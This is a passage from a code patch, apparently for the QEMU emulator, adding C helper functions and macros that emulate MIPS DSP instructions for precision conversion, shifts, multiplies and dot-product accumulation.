>> sa) + var) >> var; \ + tempB = (((int16_t)rs3 >> sa) + var) >> var; \ + tempA = (((int16_t)rs1 >> sa) + var) >> var; \ + } \ + \ + return MIPSDSP_RETURN64_16(tempD, tempC, tempB, tempA); \ +} + +PRECR_QH_PW(sra, 0); +PRECR_QH_PW(sra_r, 1); + +#undef PRECR_QH_PW + +target_ulong helper_precrq_ob_qh(target_ulong rs, target_ulong rt) +{ + uint8_t rs6, rs4, rs2, rs0; + uint8_t rt6, rt4, rt2, rt0; + uint64_t temp; + + rs6 = (rs >> 56) & MIPSDSP_Q0; + rs4 = (rs >> 40) & MIPSDSP_Q0; + rs2 = (rs >> 24) & MIPSDSP_Q0; + rs0 = (rs >> 8) & MIPSDSP_Q0; + rt6 = (rt >> 56) & MIPSDSP_Q0; + rt4 = (rt >> 40) & MIPSDSP_Q0; + rt2 = (rt >> 24) & MIPSDSP_Q0; + rt0 = (rt >> 8) & MIPSDSP_Q0; + + temp = ((uint64_t)rs6 << 56) | ((uint64_t)rs4 << 48) | + ((uint64_t)rs2 << 40) | ((uint64_t)rs0 << 32) | + ((uint64_t)rt6 << 24) | ((uint64_t)rt4 << 16) | + ((uint64_t)rt2 << 8) | (uint64_t)rt0; + + return temp; +} + +target_ulong helper_precrq_qh_pw(target_ulong rs, target_ulong rt) +{ + uint16_t tempD, tempC, tempB, tempA; + + tempD = (rs >> 48) & MIPSDSP_LO; + tempC = (rs >> 16) & MIPSDSP_LO; + tempB = (rt >> 48) & MIPSDSP_LO; + tempA = (rt >> 16) & MIPSDSP_LO; + + return MIPSDSP_RETURN64_16(tempD, tempC, tempB, tempA); +} + +target_ulong helper_precrq_rs_qh_pw(target_ulong rs, target_ulong rt, + CPUMIPSState *env) +{ + uint32_t rs2, rs0; + uint32_t rt2, rt0; + uint16_t tempD, tempC, tempB, tempA; + + rs2 = (rs >> 32) & MIPSDSP_LLO; + rs0 = rs & MIPSDSP_LLO; + rt2 = (rt >> 32) & MIPSDSP_LLO; + rt0 = rt & MIPSDSP_LLO; + + tempD = mipsdsp_trunc16_sat16_round(rs2, env); + tempC = mipsdsp_trunc16_sat16_round(rs0, env); + tempB = mipsdsp_trunc16_sat16_round(rt2, env); + tempA = mipsdsp_trunc16_sat16_round(rt0, env); + + return MIPSDSP_RETURN64_16(tempD, tempC, tempB, tempA); +} + +target_ulong helper_precrq_pw_l(target_ulong rs, target_ulong rt) +{ + uint32_t tempB, tempA; + + tempB = (rs >> 32) & MIPSDSP_LLO; + tempA = (rt >> 32) & MIPSDSP_LLO; + + return MIPSDSP_RETURN64_32(tempB, tempA); +} +#endif + +target_ulong helper_precrqu_s_qb_ph(target_ulong rs, target_ulong rt, + CPUMIPSState *env) +{ + uint8_t tempD, tempC, tempB, tempA; + uint16_t rsh, rsl, rth, rtl; + + rsh = (rs & MIPSDSP_HI) >> 16; + rsl = rs & MIPSDSP_LO; + rth = (rt & MIPSDSP_HI) >> 16; + rtl = rt & MIPSDSP_LO; + + tempD = mipsdsp_sat8_reduce_precision(rsh, env); + tempC = mipsdsp_sat8_reduce_precision(rsl, env); + tempB = mipsdsp_sat8_reduce_precision(rth, env); + tempA = mipsdsp_sat8_reduce_precision(rtl, env); + + return MIPSDSP_RETURN32_8(tempD, tempC, tempB, tempA); +} + +#if defined(TARGET_MIPS64) +target_ulong helper_precrqu_s_ob_qh(target_ulong rs, target_ulong rt, + CPUMIPSState *env) +{ + int i; + uint16_t rs3, rs2, rs1, rs0; + uint16_t rt3, rt2, rt1, rt0; + uint8_t temp[8]; + uint64_t result; + + result = 0; + + MIPSDSP_SPLIT64_16(rs, rs3, rs2, rs1, rs0); + MIPSDSP_SPLIT64_16(rt, rt3, rt2, rt1, rt0); + + temp[7] = mipsdsp_sat8_reduce_precision(rs3, env); + temp[6] = mipsdsp_sat8_reduce_precision(rs2, env); + temp[5] = mipsdsp_sat8_reduce_precision(rs1, env); + temp[4] = mipsdsp_sat8_reduce_precision(rs0, env); + temp[3] = mipsdsp_sat8_reduce_precision(rt3, env); + temp[2] = mipsdsp_sat8_reduce_precision(rt2, env); + temp[1] = mipsdsp_sat8_reduce_precision(rt1, env); + temp[0] = mipsdsp_sat8_reduce_precision(rt0, env); + + for (i = 0; i < 8; i++) { + result |= (uint64_t)temp[i] << (8 * i); + } + + return result; +} + +#define PRECEQ_PW(name, a, b) \ +target_ulong helper_preceq_pw_##name(target_ulong rt) \ +{ \ + uint16_t tempB, tempA; \ + uint32_t tempBI, tempAI; \ + \ + tempB = (rt >> a) & MIPSDSP_LO; \ + tempA = (rt >> b) & MIPSDSP_LO; \ + \ + tempBI = (uint32_t)tempB << 16; \ + tempAI = (uint32_t)tempA << 16; \ + \ + return MIPSDSP_RETURN64_32(tempBI, tempAI); \ +} + +PRECEQ_PW(qhl, 48, 32); +PRECEQ_PW(qhr, 16, 0); +PRECEQ_PW(qhla, 48, 16); +PRECEQ_PW(qhra, 32, 0); + +#undef PRECEQ_PW + +#endif + +#define PRECEQU_PH(name, a, b) \ +target_ulong helper_precequ_ph_##name(target_ulong rt) \ +{ \ + uint16_t tempB, tempA; \ + \ + tempB = (rt >> a) & MIPSDSP_Q0; \ + tempA = (rt >> b) & MIPSDSP_Q0; \ + \ + tempB = tempB << 7; \ + tempA = tempA << 7; \ + \ + return MIPSDSP_RETURN32_16(tempB, tempA); \ +} + +PRECEQU_PH(qbl, 24, 16); +PRECEQU_PH(qbr, 8, 0); +PRECEQU_PH(qbla, 24, 8); +PRECEQU_PH(qbra, 16, 0); + +#undef PRECEQU_PH + +#if defined(TARGET_MIPS64) +#define PRECEQU_QH(name, a, b, c, d) \ +target_ulong helper_precequ_qh_##name(target_ulong rt) \ +{ \ + uint16_t tempD, tempC, tempB, tempA; \ + \ + tempD = (rt >> a) & MIPSDSP_Q0; \ + tempC = (rt >> b) & MIPSDSP_Q0; \ + tempB = (rt >> c) & MIPSDSP_Q0; \ + tempA = (rt >> d) & MIPSDSP_Q0; \ + \ + tempD = tempD << 7; \ + tempC = tempC << 7; \ + tempB = tempB << 7; \ + tempA = tempA << 7; \ + \ + return MIPSDSP_RETURN64_16(tempD, tempC, tempB, tempA); \ +} + +PRECEQU_QH(obl, 56, 48, 40, 32); +PRECEQU_QH(obr, 24, 16, 8, 0); +PRECEQU_QH(obla, 56, 40, 24, 8); +PRECEQU_QH(obra, 48, 32, 16, 0); + +#undef PRECEQU_QH + +#endif + +#define PRECEU_PH(name, a, b) \ +target_ulong helper_preceu_ph_##name(target_ulong rt) \ +{ \ + uint16_t tempB, tempA; \ + \ + tempB = (rt >> a) & MIPSDSP_Q0; \ + tempA = (rt >> b) & MIPSDSP_Q0; \ + \ + return MIPSDSP_RETURN32_16(tempB, tempA); \ +} + +PRECEU_PH(qbl, 24, 16); +PRECEU_PH(qbr, 8, 0); +PRECEU_PH(qbla, 24, 8); +PRECEU_PH(qbra, 16, 0); + +#undef PRECEU_PH + +#if defined(TARGET_MIPS64) +#define PRECEU_QH(name, a, b, c, d) \ +target_ulong helper_preceu_qh_##name(target_ulong rt) \ +{ \ + uint16_t tempD, tempC, tempB, tempA; \ + \ + tempD = (rt >> a) & MIPSDSP_Q0; \ + tempC = (rt >> b) & MIPSDSP_Q0; \ + tempB = (rt >> c) & MIPSDSP_Q0; \ + tempA = (rt >> d) & MIPSDSP_Q0; \ + \ + return MIPSDSP_RETURN64_16(tempD, tempC, tempB, tempA); \ +} + +PRECEU_QH(obl, 56, 48, 40, 32); +PRECEU_QH(obr, 24, 16, 8, 0); +PRECEU_QH(obla, 56, 40, 24, 8); +PRECEU_QH(obra, 48, 32, 16, 0); + +#undef PRECEU_QH + +#endif + +/** DSP GPR-Based Shift Sub-class insns **/ +#define SHIFT_QB(name, func) \ +target_ulong helper_##name##_qb(target_ulong sa, target_ulong rt) \ +{ \ + uint8_t rt3, rt2, rt1, rt0; \ + \ + sa = sa & 0x07; \ + \ + MIPSDSP_SPLIT32_8(rt, rt3, rt2, rt1, rt0); \ + \ + rt3 = mipsdsp_##func(rt3, sa); \ + rt2 = mipsdsp_##func(rt2, sa); \ + rt1 = mipsdsp_##func(rt1, sa); \ + rt0 = mipsdsp_##func(rt0, sa); \ + \ + return MIPSDSP_RETURN32_8(rt3, rt2, rt1, rt0); \ +} + +#define SHIFT_QB_ENV(name, func) \ +target_ulong helper_##name##_qb(target_ulong sa, target_ulong rt,\ + CPUMIPSState *env) \ +{ \ + uint8_t rt3, rt2, rt1, rt0; \ + \ + sa = sa & 0x07; \ + \ + MIPSDSP_SPLIT32_8(rt, rt3, rt2, rt1, rt0); \ + \ + rt3 = mipsdsp_##func(rt3, sa, env); \ + rt2 = mipsdsp_##func(rt2, sa, env); \ + rt1 = mipsdsp_##func(rt1, sa, env); \ + rt0 = mipsdsp_##func(rt0, sa, env); \ + \ + return MIPSDSP_RETURN32_8(rt3, rt2, rt1, rt0); \ +} + +SHIFT_QB_ENV(shll, lshift8); +SHIFT_QB(shrl, rshift_u8); + +SHIFT_QB(shra, rashift8); +SHIFT_QB(shra_r, rnd8_rashift); + +#undef SHIFT_QB +#undef SHIFT_QB_ENV + +#if defined(TARGET_MIPS64) +#define SHIFT_OB(name, func) \ +target_ulong helper_##name##_ob(target_ulong rt, target_ulong sa) \ +{ \ + int i; \ + uint8_t rt_t[8]; \ + uint64_t temp; \ + \ + sa = sa & 0x07; \ + temp = 0; \ + \ + for (i = 0; i < 8; i++) { \ + rt_t[i] = (rt >> (8 * i)) & MIPSDSP_Q0; \ + rt_t[i] = mipsdsp_##func(rt_t[i], sa); \ + temp |= (uint64_t)rt_t[i] << (8 * i); \ + } \ + \ + return temp; \ +} + +#define SHIFT_OB_ENV(name, func) \ +target_ulong helper_##name##_ob(target_ulong rt, target_ulong sa, \ + CPUMIPSState *env) \ +{ \ + int i; \ + uint8_t rt_t[8]; \ + uint64_t temp; \ + \ + sa = sa & 0x07; \ + temp = 0; \ + \ + for (i = 0; i < 8; i++) { \ + rt_t[i] = (rt >> (8 * i)) & MIPSDSP_Q0; \ + rt_t[i] = mipsdsp_##func(rt_t[i], sa, env); \ + temp |= (uint64_t)rt_t[i] << (8 * i); \ + } \ + \ + return temp; \ +} + +SHIFT_OB_ENV(shll, lshift8); +SHIFT_OB(shrl, rshift_u8); + +SHIFT_OB(shra, rashift8); +SHIFT_OB(shra_r, rnd8_rashift); + +#undef SHIFT_OB +#undef SHIFT_OB_ENV + +#endif + +#define SHIFT_PH(name, func) \ +target_ulong helper_##name##_ph(target_ulong sa, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + uint16_t rth, rtl; \ + \ + sa = sa & 0x0F; \ + \ + MIPSDSP_SPLIT32_16(rt, rth, rtl); \ + \ + rth = mipsdsp_##func(rth, sa, env); \ + rtl = mipsdsp_##func(rtl, sa, env); \ + \ + return MIPSDSP_RETURN32_16(rth, rtl); \ +} + +SHIFT_PH(shll, lshift16); +SHIFT_PH(shll_s, sat16_lshift); + +#undef SHIFT_PH + +#if defined(TARGET_MIPS64) +#define SHIFT_QH(name, func) \ +target_ulong helper_##name##_qh(target_ulong rt, target_ulong sa) \ +{ \ + uint16_t rt3, rt2, rt1, rt0; \ + \ + sa = sa & 0x0F; \ + \ + MIPSDSP_SPLIT64_16(rt, rt3, rt2, rt1, rt0); \ + \ + rt3 = mipsdsp_##func(rt3, sa); \ + rt2 = mipsdsp_##func(rt2, sa); \ + rt1 = mipsdsp_##func(rt1, sa); \ + rt0 = mipsdsp_##func(rt0, sa); \ + \ + return MIPSDSP_RETURN64_16(rt3, rt2, rt1, rt0); \ +} + +#define SHIFT_QH_ENV(name, func) \ +target_ulong helper_##name##_qh(target_ulong rt, target_ulong sa, \ + CPUMIPSState *env) \ +{ \ + uint16_t rt3, rt2, rt1, rt0; \ + \ + sa = sa & 0x0F; \ + \ + MIPSDSP_SPLIT64_16(rt, rt3, rt2, rt1, rt0); \ + \ + rt3 = mipsdsp_##func(rt3, sa, env); \ + rt2 = mipsdsp_##func(rt2, sa, env); \ + rt1 = mipsdsp_##func(rt1, sa, env); \ + rt0 = mipsdsp_##func(rt0, sa, env); \ + \ + return MIPSDSP_RETURN64_16(rt3, rt2, rt1, rt0); \ +} + +SHIFT_QH_ENV(shll, lshift16); +SHIFT_QH_ENV(shll_s, sat16_lshift); + +SHIFT_QH(shrl, rshift_u16); +SHIFT_QH(shra, rashift16); +SHIFT_QH(shra_r, rnd16_rashift); + +#undef SHIFT_QH +#undef SHIFT_QH_ENV + +#endif + +#define SHIFT_W(name, func) \ +target_ulong helper_##name##_w(target_ulong sa, target_ulong rt) \ +{ \ + uint32_t temp; \ + \ + sa = sa & 0x1F; \ + temp = mipsdsp_##func(rt, sa); \ + \ + return (target_long)(int32_t)temp; \ +} + +#define SHIFT_W_ENV(name, func) \ +target_ulong helper_##name##_w(target_ulong sa, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + uint32_t temp; \ + \ + sa = sa & 0x1F; \ + temp = mipsdsp_##func(rt, sa, env); \ + \ + return (target_long)(int32_t)temp; \ +} + +SHIFT_W_ENV(shll_s, sat32_lshift); +SHIFT_W(shra_r, rnd32_rashift); + +#undef SHIFT_W +#undef SHIFT_W_ENV + +#if defined(TARGET_MIPS64) +#define SHIFT_PW(name, func) \ +target_ulong helper_##name##_pw(target_ulong rt, target_ulong sa) \ +{ \ + uint32_t rt1, rt0; \ + \ + sa = sa & 0x1F; \ + MIPSDSP_SPLIT64_32(rt, rt1, rt0); \ + \ + rt1 = mipsdsp_##func(rt1, sa); \ + rt0 = mipsdsp_##func(rt0, sa); \ + \ + return MIPSDSP_RETURN64_32(rt1, rt0); \ +} + +#define SHIFT_PW_ENV(name, func) \ +target_ulong helper_##name##_pw(target_ulong rt, target_ulong sa, \ + CPUMIPSState *env) \ +{ \ + uint32_t rt1, rt0; \ + \ + sa = sa & 0x1F; \ + MIPSDSP_SPLIT64_32(rt, rt1, rt0); \ + \ + rt1 = mipsdsp_##func(rt1, sa, env); \ + rt0 = mipsdsp_##func(rt0, sa, env); \ + \ + return MIPSDSP_RETURN64_32(rt1, rt0); \ +} + +SHIFT_PW_ENV(shll, lshift32); +SHIFT_PW_ENV(shll_s, sat32_lshift); + +SHIFT_PW(shra, rashift32); +SHIFT_PW(shra_r, rnd32_rashift); + +#undef SHIFT_PW +#undef SHIFT_PW_ENV + +#endif + +#define SHIFT_PH(name, func) \ +target_ulong helper_##name##_ph(target_ulong sa, target_ulong rt) \ +{ \ + uint16_t rth, rtl; \ + \ + sa = sa & 0x0F; \ + \ + MIPSDSP_SPLIT32_16(rt, rth, rtl); \ + \ + rth = mipsdsp_##func(rth, sa); \ + rtl = mipsdsp_##func(rtl, sa); \ + \ + return MIPSDSP_RETURN32_16(rth, rtl); \ +} + +SHIFT_PH(shrl, rshift_u16); +SHIFT_PH(shra, rashift16); +SHIFT_PH(shra_r, rnd16_rashift); + +#undef SHIFT_PH + +/** DSP Multiply Sub-class insns **/ +/* Return value made up by two 16bits value. + * FIXME give the macro a better name. + */ +#define MUL_RETURN32_16_PH(name, func, \ + rsmov1, rsmov2, rsfilter, \ + rtmov1, rtmov2, rtfilter) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + uint16_t rsB, rsA, rtB, rtA; \ + \ + rsB = (rs >> rsmov1) & rsfilter; \ + rsA = (rs >> rsmov2) & rsfilter; \ + rtB = (rt >> rtmov1) & rtfilter; \ + rtA = (rt >> rtmov2) & rtfilter; \ + \ + rsB = mipsdsp_##func(rsB, rtB, env); \ + rsA = mipsdsp_##func(rsA, rtA, env); \ + \ + return MIPSDSP_RETURN32_16(rsB, rsA); \ +} + +MUL_RETURN32_16_PH(muleu_s_ph_qbl, mul_u8_u16, \ + 24, 16, MIPSDSP_Q0, \ + 16, 0, MIPSDSP_LO); +MUL_RETURN32_16_PH(muleu_s_ph_qbr, mul_u8_u16, \ + 8, 0, MIPSDSP_Q0, \ + 16, 0, MIPSDSP_LO); +MUL_RETURN32_16_PH(mulq_rs_ph, rndq15_mul_q15_q15, \ + 16, 0, MIPSDSP_LO, \ + 16, 0, MIPSDSP_LO); +MUL_RETURN32_16_PH(mul_ph, mul_i16_i16, \ + 16, 0, MIPSDSP_LO, \ + 16, 0, MIPSDSP_LO); +MUL_RETURN32_16_PH(mul_s_ph, sat16_mul_i16_i16, \ + 16, 0, MIPSDSP_LO, \ + 16, 0, MIPSDSP_LO); +MUL_RETURN32_16_PH(mulq_s_ph, sat16_mul_q15_q15, \ + 16, 0, MIPSDSP_LO, \ + 16, 0, MIPSDSP_LO); + +#undef MUL_RETURN32_16_PH + +#define MUL_RETURN32_32_ph(name, func, movbits) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int16_t rsh, rth; \ + int32_t temp; \ + \ + rsh = (rs >> movbits) & MIPSDSP_LO; \ + rth = (rt >> movbits) & MIPSDSP_LO; \ + temp = mipsdsp_##func(rsh, rth, env); \ + \ + return (target_long)(int32_t)temp; \ +} + +MUL_RETURN32_32_ph(muleq_s_w_phl, mul_q15_q15_overflowflag21, 16); +MUL_RETURN32_32_ph(muleq_s_w_phr, mul_q15_q15_overflowflag21, 0); + +#undef MUL_RETURN32_32_ph + +#define MUL_VOID_PH(name, use_ac_env) \ +void helper_##name(uint32_t ac, target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int16_t rsh, rsl, rth, rtl; \ + int32_t tempB, tempA; \ + int64_t acc, dotp; \ + \ + MIPSDSP_SPLIT32_16(rs, rsh, rsl); \ + MIPSDSP_SPLIT32_16(rt, rth, rtl); \ + \ + if (use_ac_env == 1) { \ + tempB = mipsdsp_mul_q15_q15(ac, rsh, rth, env); \ + tempA = mipsdsp_mul_q15_q15(ac, rsl, rtl, env); \ + } else { \ + tempB = mipsdsp_mul_u16_u16(rsh, rth); \ + tempA = mipsdsp_mul_u16_u16(rsl, rtl); \ + } \ + \ + dotp = (int64_t)tempB - (int64_t)tempA; \ + acc = ((uint64_t)env->active_tc.HI[ac] << 32) | \ + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO); \ + dotp = dotp + acc; \ + env->active_tc.HI[ac] = (target_long)(int32_t) \ + ((dotp & MIPSDSP_LHI) >> 32); \ + env->active_tc.LO[ac] = (target_long)(int32_t)(dotp & MIPSDSP_LLO); \ +} + +MUL_VOID_PH(mulsaq_s_w_ph, 1); +MUL_VOID_PH(mulsa_w_ph, 0); + +#undef MUL_VOID_PH + +#if defined(TARGET_MIPS64) +#define MUL_RETURN64_16_QH(name, func, \ + rsmov1, rsmov2, rsmov3, rsmov4, rsfilter, \ + rtmov1, rtmov2, rtmov3, rtmov4, rtfilter) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + uint16_t rs3, rs2, rs1, rs0; \ + uint16_t rt3, rt2, rt1, rt0; \ + uint16_t tempD, tempC, tempB, tempA; \ + \ + rs3 = (rs >> rsmov1) & rsfilter; \ + rs2 = (rs >> rsmov2) & rsfilter; \ + rs1 = (rs >> rsmov3) & rsfilter; \ + rs0 = (rs >> rsmov4) & rsfilter; \ + rt3 = (rt >> rtmov1) & rtfilter; \ + rt2 = (rt >> rtmov2) & rtfilter; \ + rt1 = (rt >> rtmov3) & rtfilter; \ + rt0 = (rt >> rtmov4) & rtfilter; \ + \ + tempD = mipsdsp_##func(rs3, rt3, env); \ + tempC = mipsdsp_##func(rs2, rt2, env); \ + tempB = mipsdsp_##func(rs1, rt1, env); \ + tempA = mipsdsp_##func(rs0, rt0, env); \ + \ + return MIPSDSP_RETURN64_16(tempD, tempC, tempB, tempA); \ +} + +MUL_RETURN64_16_QH(muleu_s_qh_obl, mul_u8_u16, \ + 56, 48, 40, 32, MIPSDSP_Q0, \ + 48, 32, 16, 0, MIPSDSP_LO); +MUL_RETURN64_16_QH(muleu_s_qh_obr, mul_u8_u16, \ + 24, 16, 8, 0, MIPSDSP_Q0, \ + 48, 32, 16, 0, MIPSDSP_LO); +MUL_RETURN64_16_QH(mulq_rs_qh, rndq15_mul_q15_q15, \ + 48, 32, 16, 0, MIPSDSP_LO, \ + 48, 32, 16, 0, MIPSDSP_LO); + +#undef MUL_RETURN64_16_QH + +#define MUL_RETURN64_32_QH(name, \ + rsmov1, rsmov2, \ + rtmov1, rtmov2) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + uint16_t rsB, rsA; \ + uint16_t rtB, rtA; \ + uint32_t tempB, tempA; \ + \ + rsB = (rs >> rsmov1) & MIPSDSP_LO; \ + rsA = (rs >> rsmov2) & MIPSDSP_LO; \ + rtB = (rt >> rtmov1) & MIPSDSP_LO; \ + rtA = (rt >> rtmov2) & MIPSDSP_LO; \ + \ + tempB = mipsdsp_mul_q15_q15(5, rsB, rtB, env); \ + tempA = mipsdsp_mul_q15_q15(5, rsA, rtA, env); \ + \ + return ((uint64_t)tempB << 32) | (uint64_t)tempA; \ +} + +MUL_RETURN64_32_QH(muleq_s_pw_qhl, 48, 32, 48, 32); +MUL_RETURN64_32_QH(muleq_s_pw_qhr, 16, 0, 16, 0); + +#undef MUL_RETURN64_32_QH + +void helper_mulsaq_s_w_qh(target_ulong rs, target_ulong rt, uint32_t ac, + CPUMIPSState *env) +{ + int16_t rs3, rs2, rs1, rs0; + int16_t rt3, rt2, rt1, rt0; + int32_t tempD, tempC, tempB, tempA; + int64_t acc[2]; + int64_t temp[2]; + int64_t temp_sum; + + MIPSDSP_SPLIT64_16(rs, rs3, rs2, rs1, rs0); + MIPSDSP_SPLIT64_16(rt, rt3, rt2, rt1, rt0); + + tempD = mipsdsp_mul_q15_q15(ac, rs3, rt3, env); + tempC = mipsdsp_mul_q15_q15(ac, rs2, rt2, env); + tempB = mipsdsp_mul_q15_q15(ac, rs1, rt1, env); + tempA = mipsdsp_mul_q15_q15(ac, rs0, rt0, env); + + temp[0] = ((int32_t)tempD - (int32_t)tempC) + + ((int32_t)tempB - (int32_t)tempA); + temp[0] = (int64_t)(temp[0] << 30) >> 30; + if (((temp[0] >> 33) & 0x01) == 0) { + temp[1] = 0x00; + } else { + temp[1] = ~0ull; + } + + acc[0] = env->active_tc.LO[ac]; + acc[1] = env->active_tc.HI[ac]; + + temp_sum = acc[0] + temp[0]; + if (((uint64_t)temp_sum < (uint64_t)acc[0]) && + ((uint64_t)temp_sum < (uint64_t)temp[0])) { + acc[1] += 1; + } + acc[0] = temp_sum; + acc[1] += temp[1]; + + env->active_tc.HI[ac] = acc[1]; + env->active_tc.LO[ac] = acc[0]; +} +#endif + +#define DP_QB(name, func, is_add, rsmov1, rsmov2, rtmov1, rtmov2) \ +void helper_##name(uint32_t ac, target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + uint8_t rs3, rs2; \ + uint8_t rt3, rt2; \ + uint16_t tempB, tempA; \ + uint64_t tempC, dotp; \ + \ + rs3 = (rs >> rsmov1) & MIPSDSP_Q0; \ + rs2 = (rs >> rsmov2) & MIPSDSP_Q0; \ + rt3 = (rt >> rtmov1) & MIPSDSP_Q0; \ + rt2 = (rt >> rtmov2) & MIPSDSP_Q0; \ + tempB = mipsdsp_##func(rs3, rt3); \ + tempA = mipsdsp_##func(rs2, rt2); \ + dotp = (int64_t)tempB + (int64_t)tempA; \ + if (is_add) { \ + tempC = (((uint64_t)env->active_tc.HI[ac] << 32) | \ + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO)) \ + + dotp; \ + } else { \ + tempC = (((uint64_t)env->active_tc.HI[ac] << 32) | \ + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO)) \ + - dotp; \ + } \ + \ + env->active_tc.HI[ac] = (target_long)(int32_t) \ + ((tempC & MIPSDSP_LHI) >> 32); \ + env->active_tc.LO[ac] = (target_long)(int32_t)(tempC & MIPSDSP_LLO); \ +} + +DP_QB(dpau_h_qbl, mul_u8_u8, 1, 24, 16, 24, 16); +DP_QB(dpau_h_qbr, mul_u8_u8, 1, 8, 0, 8, 0); +DP_QB(dpsu_h_qbl, mul_u8_u8, 0, 24, 16, 24, 16); +DP_QB(dpsu_h_qbr, mul_u8_u8, 0, 8, 0, 8, 0); + +#undef DP_QB + +#if defined(TARGET_MIPS64) +#define DP_OB(name, add_sub, \ + rsmov1, rsmov2, rsmov3, rsmov4, \ + rtmov1, rtmov2, rtmov3, rtmov4) \ +void helper_##name(target_ulong rs, target_ulong rt, uint32_t ac, \ + CPUMIPSState *env) \ +{ \ + uint8_t rsD, rsC, rsB, rsA; \ + uint8_t rtD, rtC, rtB, rtA; \ + uint16_t tempD, tempC, tempB, tempA; \ + uint64_t temp[2]; \ + uint64_t acc[2]; \ + uint64_t temp_sum; \ + \ + temp[0] = 0; \ + temp[1] = 0; \ + \ + rsD = (rs >> rsmov1) & MIPSDSP_Q0; \ + rsC = (rs >> rsmov2) & MIPSDSP_Q0; \ + rsB = (rs >> rsmov3) & MIPSDSP_Q0; \ + rsA = (rs >> rsmov4) & MIPSDSP_Q0; \ + rtD = (rt >> rtmov1) & MIPSDSP_Q0; \ + rtC = (rt >> rtmov2) & MIPSDSP_Q0; \ + rtB = (rt >> rtmov3) & MIPSDSP_Q0; \ + rtA = (rt >> rtmov4) & MIPSDSP_Q0; \ + \ + tempD = mipsdsp_mul_u8_u8(rsD, rtD); \ + tempC = mipsdsp_mul_u8_u8(rsC, rtC); \ + tempB = mipsdsp_mul_u8_u8(rsB, rtB); \ + tempA = mipsdsp_mul_u8_u8(rsA, rtA); \ + \ + temp[0] = (uint64_t)tempD + (uint64_t)tempC + \ + (uint64_t)tempB + (uint64_t)tempA; \ + \ + acc[0] = env->active_tc.LO[ac]; \ + acc[1] = env->active_tc.HI[ac]; \ + \ + if (add_sub) { \ + temp_sum = acc[0] + temp[0]; \ + if (((uint64_t)temp_sum < (uint64_t)acc[0]) && \ + ((uint64_t)temp_sum < (uint64_t)temp[0])) { \ + acc[1] += 1; \ + } \ + temp[0] = temp_sum; \ + temp[1] = acc[1] + temp[1]; \ + } else { \ + temp_sum = acc[0] - temp[0]; \ + if ((uint64_t)temp_sum > (uint64_t)acc[0]) { \ + acc[1] -= 1; \ + } \ + temp[0] = temp_sum; \ + temp[1] = acc[1] - temp[1]; \ + } \ + \ + env->active_tc.HI[ac] = temp[1]; \ + env->active_tc.LO[ac] = temp[0]; \ +} + +DP_OB(dpau_h_obl, 1, 56, 48, 40, 32, 56, 48, 40, 32); +DP_OB(dpau_h_obr, 1, 24, 16, 8, 0, 24, 16, 8, 0); +DP_OB(dpsu_h_obl, 0, 56, 48, 40, 32, 56, 48, 40, 32); +DP_OB(dpsu_h_obr, 0, 24, 16, 8, 0, 24, 16, 8, 0); + +#undef DP_OB +#endif + +#define DP_NOFUNC_PH(name, is_add, rsmov1, rsmov2, rtmov1, rtmov2) \ +void helper_##name(uint32_t ac, target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int16_t rsB, rsA, rtB, rtA; \ + int32_t tempA, tempB; \ + int64_t acc; \ + \ + rsB = (rs >> rsmov1) & MIPSDSP_LO; \ + rsA = (rs >> rsmov2) & MIPSDSP_LO; \ + rtB = (rt >> rtmov1) & MIPSDSP_LO; \ + rtA = (rt >> rtmov2) & MIPSDSP_LO; \ + \ + tempB = (int32_t)rsB * (int32_t)rtB; \ + tempA = (int32_t)rsA * (int32_t)rtA; \ + \ + acc = ((uint64_t)env->active_tc.HI[ac] << 32) | \ + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO); \ + \ + if (is_add) { \ + acc = acc + ((int64_t)tempB + (int64_t)tempA); \ + } else { \ + acc = acc - ((int64_t)tempB + (int64_t)tempA); \ + } \ + \ + env->active_tc.HI[ac] = (target_long)(int32_t)((acc & MIPSDSP_LHI) >> 32); \ + env->active_tc.LO[ac] = (target_long)(int32_t)(acc & MIPSDSP_LLO); \ +} + +DP_NOFUNC_PH(dpa_w_ph, 1, 16, 0, 16, 0); +DP_NOFUNC_PH(dpax_w_ph, 1, 16, 0, 0, 16); +DP_NOFUNC_PH(dps_w_ph, 0, 16, 0, 16, 0); +DP_NOFUNC_PH(dpsx_w_ph, 0, 16, 0, 0, 16); +#undef DP_NOFUNC_PH + +#define DP_HASFUNC_PH(name, is_add, rsmov1, rsmov2, rtmov1, rtmov2) \ +void helper_##name(uint32_t ac, target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int16_t rsB, rsA, rtB, rtA; \ + int32_t tempB, tempA; \ + int64_t acc, dotp; \ + \ + rsB = (rs >> rsmov1) & MIPSDSP_LO; \ + rsA = (rs >> rsmov2) & MIPSDSP_LO; \ + rtB = (rt >> rtmov1) & MIPSDSP_LO; \ + rtA = (rt >> rtmov2) & MIPSDSP_LO; \ + \ + tempB = mipsdsp_mul_q15_q15(ac, rsB, rtB, env); \ + tempA = mipsdsp_mul_q15_q15(ac, rsA, rtA, env); \ + \ + dotp = (int64_t)tempB + (int64_t)tempA; \ + acc = ((uint64_t)env->active_tc.HI[ac] << 32) | \ + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO); \ + \ + if (is_add) { \ + acc = acc + dotp; \ + } else { \ + acc = acc - dotp; \ + } \ + \ + env->active_tc.HI[ac] = (target_long)(int32_t) \ + ((acc & MIPSDSP_LHI) >> 32); \ + env->active_tc.LO[ac] = (target_long)(int32_t) \ + (acc & MIPSDSP_LLO); \ +} + +DP_HASFUNC_PH(dpaq_s_w_ph, 1, 16, 0, 16, 0); +DP_HASFUNC_PH(dpaqx_s_w_ph, 1, 16, 0, 0, 16); 